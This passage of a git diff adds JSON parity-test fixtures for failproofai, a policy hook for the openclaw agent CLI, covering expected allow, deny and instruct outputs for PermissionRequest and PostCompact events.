/s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PermissionRequest/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/PermissionRequest/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..80144186 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PermissionRequest/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PermissionRequest/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/PermissionRequest/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..94fd5353 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PermissionRequest/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PermissionRequest/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/PermissionRequest/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..8b99afa4 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PermissionRequest/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PermissionRequest/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/PermissionRequest/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..780abde8 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PermissionRequest/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PermissionRequest/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/PermissionRequest/deny__tool-present__one-policy.json new file mode 100644 index 00000000..7ed5465b --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PermissionRequest/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PermissionRequest/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/PermissionRequest/deny__tool-present__two-policies.json new file mode 100644 index 00000000..d0f0a787 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PermissionRequest/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PermissionRequest/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/PermissionRequest/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..e0db8798 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PermissionRequest/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PermissionRequest/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/PermissionRequest/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..d24d43aa --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PermissionRequest/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PermissionRequest/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/PermissionRequest/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..fa99b644 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PermissionRequest/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PermissionRequest/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/PermissionRequest/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..18e66c4b --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PermissionRequest/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PostCompact/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/PostCompact/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..b841752d --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostCompact/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PostCompact/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/PostCompact/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..007e5849 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostCompact/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PostCompact/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/PostCompact/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..8194bb03 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostCompact/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PostCompact/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/PostCompact/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..e1b2889c --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostCompact/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PostCompact/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/PostCompact/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..6e8f0c01 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostCompact/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PostCompact/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/PostCompact/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..9337d93f --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostCompact/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PostCompact/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/PostCompact/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..a6a86055 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostCompact/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PostCompact/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/PostCompact/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..1a18ad56 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostCompact/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": 